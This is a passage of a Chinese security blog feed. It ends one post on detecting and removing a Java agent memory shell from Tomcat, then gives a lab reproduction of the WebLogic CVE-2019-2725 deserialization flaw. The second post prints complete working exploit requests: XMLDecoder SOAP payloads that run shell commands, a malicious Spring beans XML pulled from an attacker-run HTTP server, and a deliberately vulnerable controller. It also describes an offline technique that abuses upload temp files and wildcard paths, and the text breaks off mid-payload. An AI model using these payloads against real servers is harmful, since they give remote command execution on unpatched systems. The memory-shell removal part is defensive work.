<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744852677151.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">直接访问http://localhost:8080/?cmd=whoami</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744852798117.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">正常访问。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744852838784.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h2 style="" id="%E6%A3%80%E6%B5%8B%E4%B8%8E%E6%9F%A5%E6%9D%80">检测与查杀</h2>
<p style="">agent内存马的难点是在定位攻击者哪些字节码，通过javaassist等asm工具获取到类的字节码，也只是读取磁盘上响应类的字节码，而不是jvm中的字节码。</p>
<p style="">那如何将注入的字节码还原，接下来先检测定位，先前注入的类是org.apache.catalina.core.ApplicationFilterChain，那打开工具sa-jdi.jar检测定位，进入到java的lib目录下，我的是11，打开cmd，输入指令jhsdb hsdb回车。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744859475444.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">点击file -&gt; attach to hotspot proccess 输入tomcat的pid。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744859510269.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744859598324.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744859630513.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">点击菜单栏的tools-class broswer查看当前jvm中已经加载并被java Instrumentation修改后的类，就可以开始溯源定位内存马是在那个类被植入的，之前注入的类是org.apache.catalina.core.ApplicationFilterChain，直接搜Chain</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744859647076.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744859802754.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">点进去找doFilter</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744859831185.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">查到关键恶意代码。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744859905975.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">利用javaassist获取没被修改的字节码，然后在通过retransformClass对类进行重新定义即可复原。</p>
<p style="">编写还原代码：</p>
<p style="">BytecodeRestorer.java通过org.apache.catalina.core.ApplicationFilterChain获取原始字节码</p>
<pre><code>import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;

/**
 * 从原始Tomcat类库中获取干净的ApplicationFilterChain字节码
 */
public class BytecodeRestorer implements ClassFileTransformer {
    // Tomcat核心类全限定名
    private static final String TARGET_CLASS = "org.apache.catalina.core.ApplicationFilterChain";

    /**
     * 获取原始字节码
     */

    public byte[] transform(ClassLoader loader, String classname,
                            Class&lt;?&gt; classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) {


            try {
                ClassPool pool = ClassPool.getDefault();
                // 加载目标类
                CtClass cc = pool.getCtClass(TARGET_CLASS);
                byte [] bytes = cc.toBytecode();
                cc.detach();
                // 生成纯净字节码
                System.out.println(Arrays.toString(cc.toBytecode()));
                return bytes;
            } catch (Exception e) {
                    throw new RuntimeException(e);
            }
    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744871090142.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">AgentMainTest.java获取jvm全部的加载类，直到找到ApplicationFilterChain就添加一个addTransformer，利用retransformClasses还原ApplicationFilterChain的定义。</p>
<pre><code>// 导入 Java Instrumentation API 包
import java.lang.instrument.Instrumentation;

// 代理主测试类，用于动态修改已加载的类
public class AgentMainTest {
    // 静态变量，保存 Instrumentation 实例（用于类转换）
    private static Instrumentation instrumentation;

    // 静态变量，自定义的字节码转换器（用于恢复或修改类字节码）
    private static BytecodeRestorer transform = new BytecodeRestorer();

    /**
            * Java Agent 的入口方法（动态 attach 模式）
            * @param agentArgs 代理参数（可传入自定义参数）
            * @param inst Instrumentation 实例，提供类操作能力
 *          @throws Exception 可能抛出异常
     */
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        instrumentation = inst;  // 保存 Instrumentation 实例
        Class[] classes = inst.getAllLoadedClasses();  // 获取 JVM 中所有已加载的类

        // 遍历所有已加载的类
        for (Class cls : classes) {
            // 检查类名是否为 "org.apache.catalina.core.ApplicationFilterChain"（Tomcat 的过滤器链类）
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                // 添加字节码转换器（transform 负责实际的字节码修改）
                inst.addTransformer(transform, true);

                // 触发类重新转换（retransformClasses 会调用 transform 修改字节码）
                inst.retransformClasses(cls);

                // 移除转换器（避免影响其他类）
                inst.removeTransformer(transform);

                // 打印成功信息
                System.out.println("ApplicationFilterChain has been redefined successfully.");
            }
        }
    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744871358136.png&amp;size=m" width="100%" height="100%" style="display: inline-block">
 <br>
 test.java照搬上面的，不用改，pom.xml的依赖也是。直接打包该项目。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744871513220.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">开启tomcat，将之前的内存马注入进去，命令可以成功执行。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744871567442.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">将刚刚生成的jar包运行。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744871631822.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">可以看到页面中显示命令执行失败,已经成功覆盖，消除了内存马。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744871652366.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">Java AgentNoFile等有时间分析了会补充上。</p>]]></description><guid isPermaLink="false">/archives/019b6af4-18b0-7412-824b-a82167b36823</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2FIMG_3049.jpeg&amp;size=m" type="image/jpeg" length="34569"/><category>网络安全</category><pubDate>Thu, 17 Apr 2025 01:23:31 GMT</pubDate></item><item><title><![CDATA[通过CVE-2019-2725对ClassPathXmlApplicationContext不出网的思考]]></title><link>http://gowninng.cn/archives/019b8d68-b8e6-729c-94e3-36570716d18a</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E9%80%9A%E8%BF%87CVE-2019-2725%E5%AF%B9ClassPathXmlApplicationContext%E4%B8%8D%E5%87%BA%E7%BD%91%E7%9A%84%E6%80%9D%E8%80%83&amp;url=/archives/019b8d68-b8e6-729c-94e3-36570716d18a" width="1" height="1" alt="" style="opacity:0;">
<h3 style="" id="%E5%89%8D%E8%A8%80">前言</h3>
<p style=""><span style="font-size: 16px">CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。</span><strong>影响版本</strong><span style="font-size: 16px"> ：weblogic 10.x weblogic 12.1.3。</span></p>
<h3 style="" id="%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA"><span style="font-size: 16px">环境搭建</span></h3>
<p style=""><span style="font-size: 16px">使用Vulfocus平台进行复现，</span>进入镜像管理，搜索漏洞镜像，下载镜像。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744702174608.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744702198081.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">下载好以后启动镜像并访问。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744702226307.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h3 style="" id="%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0">漏洞复现</h3>
<p style="">可以访问/_async/AsyncResponseService，则存在漏洞</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744702296116.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""></p>
<p style="">/_async/AsyncResponseService?info查看网站路径 。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744702350245.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">找到路径后，可以直接使用payload构造数据包。其中执行一个命令为将whoami输出的结果写入到文件servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico中。</p>
<pre><code class="language-http">POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:29618
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml

&lt;soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService"&gt;
&lt;soapenv:Header&gt;
&lt;wsa:Action&gt;xx&lt;/wsa:Action&gt;
&lt;wsa:RelatesTo&gt;xx&lt;/wsa:RelatesTo&gt;
&lt;work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"&gt;
&lt;void class="java.lang.ProcessBuilder"&gt;
&lt;array class="java.lang.String" length="3"&gt;
&lt;void index="0"&gt;
&lt;string&gt;/bin/bash&lt;/string&gt;
&lt;/void&gt;
&lt;void index="1"&gt;
&lt;string&gt;-c&lt;/string&gt;
&lt;/void&gt;
&lt;void index="2"&gt;
&lt;string&gt;whoami &gt; servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico&lt;/string&gt;
&lt;/void&gt;
&lt;/array&gt;
&lt;void method="start"/&gt;&lt;/void&gt;
&lt;/work:WorkContext&gt;
&lt;/soapenv:Header&gt;
&lt;soapenv:Body&gt;
&lt;asy:onAsyncDelivery/&gt;
&lt;/soapenv:Body&gt;&lt;/soapenv:Envelope&gt;</code></pre>
<p style="">发送数据包，查看状态码，请求成功，看容器中是否写入该文件。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744702554480.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">成功写入。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744702643049.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">接下来用另一种方法，就是通过ClassPathXmlApplicationContext引用外部xml进行二次反序列化执行代码。先写一个恶意xml，代码如下：</p>
<pre><code class="language-xml">&lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"&gt;
  &lt;bean id="pb" class="java.lang.ProcessBuilder" init-method="start"&gt;
    &lt;constructor-arg&gt;
      &lt;list&gt;
        &lt;value&gt;sh&lt;/value&gt;
        &lt;value&gt;-c&lt;/value&gt;
        &lt;value&gt;&lt;![CDATA[whoami &gt; servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico]]&gt;&lt;/value&gt;
      &lt;/list&gt;
    &lt;/constructor-arg&gt;
  &lt;/bean&gt;
&lt;/beans&gt;</code></pre>
<p style="">同样也是将whoami输出的结果写入到文件servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico中，<span style="font-size: 16px">​</span>​但是是通过xml构造恶意构造的 Spring Beans 配置文件。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744708178374.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">在文件目录启动http服务，ipconfig当前主机ip，用当前机器ip访问。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744703206779.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744703120035.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">构造payload，引用com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext，并填入要引用的xml地址。</p>
<pre><code class="language-http">POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:29618
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml

&lt;soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"&gt;&lt;soapenv:Header&gt;&lt;wsa:Action&gt;xx&lt;/wsa:Action&gt;&lt;wsa:RelatesTo&gt;xx&lt;/wsa:RelatesTo&gt;&lt;work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"&gt;
&lt;java&gt;&lt;class&gt;&lt;string&gt;com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext&lt;/string&gt;&lt;void&gt;
&lt;string&gt;http://10.30.1.88:8000/111.xml&lt;/string&gt;
&lt;/void&gt;&lt;/class&gt;
&lt;/java&gt;
&lt;/work:WorkContext&gt;
&lt;/soapenv:Header&gt; &lt;soapenv:Body&gt;&lt;asy:onAsyncDelivery/&gt;&lt;/soapenv:Body&gt;&lt;/soapenv:Envelope&gt;
</code></pre>
<p style="">请求数据包成功，xml也成功请求到。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744708276199.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744703523711.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">成功执行命令。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744708361196.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h3 style="" id="%E4%B8%8D%E5%87%BA%E7%BD%91%E6%80%9D%E8%80%83">不出网思考</h3>
<p style="">ClassPathXmlApplicationContext在很多漏洞中都存在这个类的身影，但是ClassPathXmlApplicationContext不出网的话怎么利用？首先先看看ClassPathXmlApplicationContext类定义：</p>
<p style=""><strong>ClassPathXmlApplicationContext 是Spring框架中用于加载XML配置文件并初始化应用程序上下文的一个类。它是 ApplicationContext 接口的实现，负责实例化、配置和组装对象。这个类从类路径下读取配置文件，为Spring容器提供配置信息，并管理定义的bean。</strong></p>
<p style=""><code>ClassPathXmlApplicationContext</code>可以从类路径加载XML配置，并管理其中的bean：</p>
<p style="line-height: 1.5">我们有一个<code>Student</code>类：</p>
<pre><code class="language-java">public class Student {
    private int no;
    private String name;

    // standard constructors, getters and setters
}</code></pre>
<p style="">我们在<code>classpathxmlapplicationcontext-example.xml</code>中配置了一个<code>Student</code> bean，并将其添加到类路径中：</p>
<pre><code class="language-xml">&lt;beans ...&gt;
    &lt;bean id="student" class="com.baeldung.applicationcontext.Student"&gt;
        &lt;property name="no" value="15"/&gt;
        &lt;property name="name" value="Tom"/&gt;
    &lt;/bean&gt;
&lt;/beans&gt;</code></pre>
<p style="line-height: 1.5">现在我们可以使用<code>ClassPathXmlApplicationContext</code>加载XML配置并获取<code>Student</code> bean：</p>
<pre><code class="language-java">@Test
public void testBasicUsage() {
    ApplicationContext context 
      = new ClassPathXmlApplicationContext(
        "classpathxmlapplicationcontext-example.xml");
    
    Student student = (Student) context.getBean("student");
    assertThat(student.getNo(), equalTo(15));
    assertThat(student.getName(), equalTo("Tom"));

    Student sameStudent = context.getBean("student", Student.class);
    assertThat(sameStudent.getNo(), equalTo(15));
    assertThat(sameStudent.getName(), equalTo("Tom"));
}</code></pre>
<h4 style="" id="%E6%BC%8F%E6%B4%9E%E6%A1%88%E4%BE%8B">漏洞案例</h4>
<p style="">先写一个带有漏洞的类，用来调用ClassPathXmlApplicationContext并启动：</p>
<pre><code class="language-java">package com.example.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.lang.reflect.Constructor;

@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping("/index")
    public String index(String name, String arg) throws Exception {
        Class&lt;?&gt; clazz = Class.forName(name);
        Constructor&lt;?&gt; constructor = clazz.getConstructor(String.class);
        Object instance = constructor.newInstance(arg);
        return "done";
    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744708890297.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">访问/index，并抓包，传入ClassPathXmlApplicationContext类和远程xml文件：</p>
<pre><code class="language-xml">&lt;beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"&gt;
  &lt;bean id="pb" class="java.lang.ProcessBuilder" init-method="start"&gt;
    &lt;constructor-arg&gt;
      &lt;list&gt;
        &lt;value&gt;cmd&lt;/value&gt;
        &lt;value&gt;/c&lt;/value&gt;
        &lt;value&gt;&lt;![CDATA[calc]]&gt;&lt;/value&gt;
      &lt;/list&gt;
    &lt;/constructor-arg&gt;
  &lt;/bean&gt;
&lt;/beans&gt;
</code></pre>
<p style="">数据包：</p>
<pre><code class="language-http">GET /index?arg=http://10.30.1.88:8000/222.xml&amp;name=org.springframework.context.support.ClassPathXmlApplicationContext HTTP/1.1
Host: 127.0.0.1:8080
Sec-Fetch-Dest: document
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: none
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Sec-Fetch-User: ?1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Accept-Language: zh-CN,zh;q=0.9</code></pre>
<p style="">直接弹出计算器，成功执行命令。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744709219178-hvyw.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h4 style="" id="%E4%B8%8A%E4%BC%A0%E7%BC%93%E5%AD%98%E6%9C%BA%E5%88%B6">上传缓存机制</h4>
<p style="">这是在受害者主机可出网的情况下能够直接利用，如果是在不出网的情况下怎么利用该利用链呢?</p>
<p style="">首先，我们先了解下php和java的文件上传缓存机制：</p>
<h5 style="" id="php-%E4%B8%8A%E4%BC%A0%E7%BC%93%E5%AD%98%E2%80%8B%E2%80%8B">PHP 上传缓存​​</h5>
<p style="margin-left: 24px!important">​​缓存目录​​：/tmp（Linux）或 C:\Windows\Temp（Windows），文件名如 phpXXXXXX.tmp</p>
<p style="margin-left: 24px!important">​​缓存机制​​：</p>
<p style="margin-left: 24px!important">文件上传时，PHP 先将数据包存入临时文件，脚本处理后再移动或删除。若上传中断（如连接关闭、脚本超时），临时文件可能残留。</p>
<p style="margin-left: 24px!important">​​无接口上传缓存​​：</p>
<p style="margin-left: 24px!important">直接发送 ​​不完整​​ 的 HTTP 文件上传请求（如强制中断），PHP 仍会生成临时文件但无法清理，导致缓存残留。</p>
<h5 style="" id="%E2%80%8B%E2%80%8Bjava-%E4%B8%8A%E4%BC%A0%E7%BC%93%E5%AD%98%E2%80%8B%E2%80%8B">​​Java 上传缓存​​</h5>
<p style="margin-left: 24px!important">​​缓存目录​​：</p>
<p style="margin-left: 24px!important">Tomcat：$CATALINA_BASE/work/Catalina/localhost/upload_*</p>
<p style="margin-left: 24px!important">Spring：默认系统临时目录（如 /tmp）</p>
<p style="margin-left: 24px!important">​​缓存机制​​：</p>
<p style="margin-left: 24px!important">容器（如 Tomcat）或框架（如 Spring）先将上传数据写入临时文件，处理完成后删除。若请求未完成（如异常终止），文件可能残留。</p>
<p style="margin-left: 24px!important">​​无接口上传缓存​​：</p>
<p style="margin-left: 24px!important">发送 ​​不完整​​ 的 multipart/form-data 请求，容器仍会生成临时文件但未触发清理逻辑。</p>
<h5 style="" id="%E2%80%8B%E2%80%8B%E4%B8%BA%E4%BD%95%E6%97%A0%E4%B8%8A%E4%BC%A0%E6%8E%A5%E5%8F%A3%E4%BB%8D%E6%9C%89%E7%BC%93%E5%AD%98%E6%96%87%E4%BB%B6%EF%BC%9F%E2%80%8B%E2%80%8B">​​为何无上传接口仍有缓存文件？​​</h5>
<p style="margin-left: 24px!important">​​协议层行为​​：</p>
<p style="margin-left: 24px!important">HTTP 文件上传（multipart/form-data）被服务器/容器解析时，​​无论是否存在处理接口​​，数据包会先写入临时文件。</p>
<p style="margin-left: 24px!important">​​中断残留​​：</p>
<p style="margin-left: 24px!important">上传未完成（如网络断开、请求被劫持）时，临时文件未被删除。</p>
<p style="margin-left: 24px!important">​​利用方式​​：</p>
<p style="margin-left: 24px!important">结合文件包含漏洞，执行残留的临时文件（如 PHP 的 /tmp/phpXXXXXX 或 Java 的 upload_*）。</p>
<h5 style="" id="%E5%AE%9E%E8%B7%B5">实践</h5>
<p style="">来实践一下java的文件上传缓存，将上面的数据包改成上传数据包，实际操作一下即使没有上传接口是否有文件缓存。</p>
<p style="">发送修改的数据包，打开Process Monitor，可以看到这个临时文件创建和销毁的过程，说明修改成上传数据包确实存在临时文件。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744722745014.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1744722695302.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h4 style="" id="%E9%80%9A%E9%85%8D%E7%AC%A6">通配符</h4>
<p style="">那知道了可以上传临时文件，那说明也可以引用该文件进行执行命令等操作，但是这个文件名名称是随机的，引用的时候并不知道文件名叫什么，但是没办法引用了吗？知识点来到了通配符这个地方：</p>
<p style="">ClassPathXmlApplicationContext 是 Spring 框架中的一个应用上下文实现，用于从类路径加载 XML 配置文件。当需要加载多个配置文件时，可以使用通配符来简化配置。</p>
<p style="">基本用法</p>
<p style="">1. 使用单个配置文件</p>
<pre><code class="language-java">ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");</code></pre>
<p style="">2. 使用多个配置文件</p>
<pre><code class="language-java">ApplicationContext context = new ClassPathXmlApplicationContext(

    new String[] {"applicationContext.xml", "applicationContext-dao.xml"});</code></pre>
<h5 style="" id="%E4%BD%BF%E7%94%A8%E9%80%9A%E9%85%8D%E7%AC%A6">使用通配符</h5>
<p style="">Spring 支持 Ant 风格的通配符模式来匹配多个配置文件：</p>
<h6 style="" id="%E5%9F%BA%E6%9C%AC%E9%80%9A%E9%85%8D%E7%AC%A6">基本通配符</h6>
<pre><code class="language-java">ApplicationContext context = new ClassPathXmlApplicationContext("classpath*:config/*.xml");</code></pre>
<p style="margin-left: 24px!important">这会加载类路径下所有 config 目录中的 .xml 文件。</p>
<h6 style="" id="%E5%A4%9A%E7%BA%A7%E7%9B%AE%E5%BD%95%E9%80%9A%E9%85%8D%E7%AC%A6">多级目录通配符</h6>
<pre><code class="language-java">ApplicationContext context = new ClassPathXmlApplicationContext("classpath*:com/example/​**​/*-context.xml");</code></pre>
<p style="margin-left: 24px!important">这会加载 com/example 及其子目录下所有以 -context.xml 结尾的文件。</p>
<h6 style="" id="%E7%BB%84%E5%90%88%E4%BD%BF%E7%94%A8">组合使用</h6>
<pre><code class="language-java">ApplicationContext context = new ClassPathXmlApplicationContext(

    new String[] {"classpath*:config/*.xml", "classpath*:services/*-service.xml"});</code></pre>
<h6 style="" id="%E9%80%9A%E9%85%8D%E7%AC%A6%E8%AF%B4%E6%98%8E">通配符说明</h6>
<p style="margin-left: 24px!important">* - 匹配任意数量的字符（不包括路径分隔符）</p>
<p style="margin-left: 24px!important">​**​ - 匹配任意数量的字符，包括路径分隔符（用于匹配多级目录）</p>
<p style="margin-left: 24px!important">? - 匹配单个字符</p>
<p style="margin-left: 24px!important">classpath*: - 前缀表示搜索所有类路径位置（包括 JAR 文件）</p>
<p style="margin-left: 24px!important">classpath: - 前缀表示只搜索第一个匹配的类路径位置</p>
<h6 style="" id="%E6%BC%8F%E6%B4%9E%E5%AE%9E%E8%B7%B5">漏洞实践</h6>
<p style="">这里就不做代码分析，网上有ClassPathXmlApplicationContext 通配符的相关代码分析，就不断点一点一点看了，代码逻辑是判断请求的路径中有没有星号或者问号这些通配符标识，有的话就会遍历目录中根据通配符设定格式相匹配的所有文件，现在构造一个文件上传包，在请求体中加入恶意的xml代码：</p>
<pre><code class="language-http">POST /index?name=org.springframework.context.support.ClassPathXmlApplicationContext&amp;arg=file://C:/Users/*/AppData/Local/Temp/tomcat.8080.4591636753791226070/**/*.tmp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQHqrX0rFhAxqYKCz
Content-Length: 141

------WebKitFormBoundaryQHqrX0rFhAxqYKCz
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

&lt;?xml version="1.0" encoding="UTF-8" ?&gt;
		&lt;beans xmlns="http://www.springframework.org/schema/beans"
		       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
		       xsi:schemaLocation="http://www.springframework.org/schema/beans
		                        http://www.springframework.org/schema/beans/spring-beans.xsd"&gt;
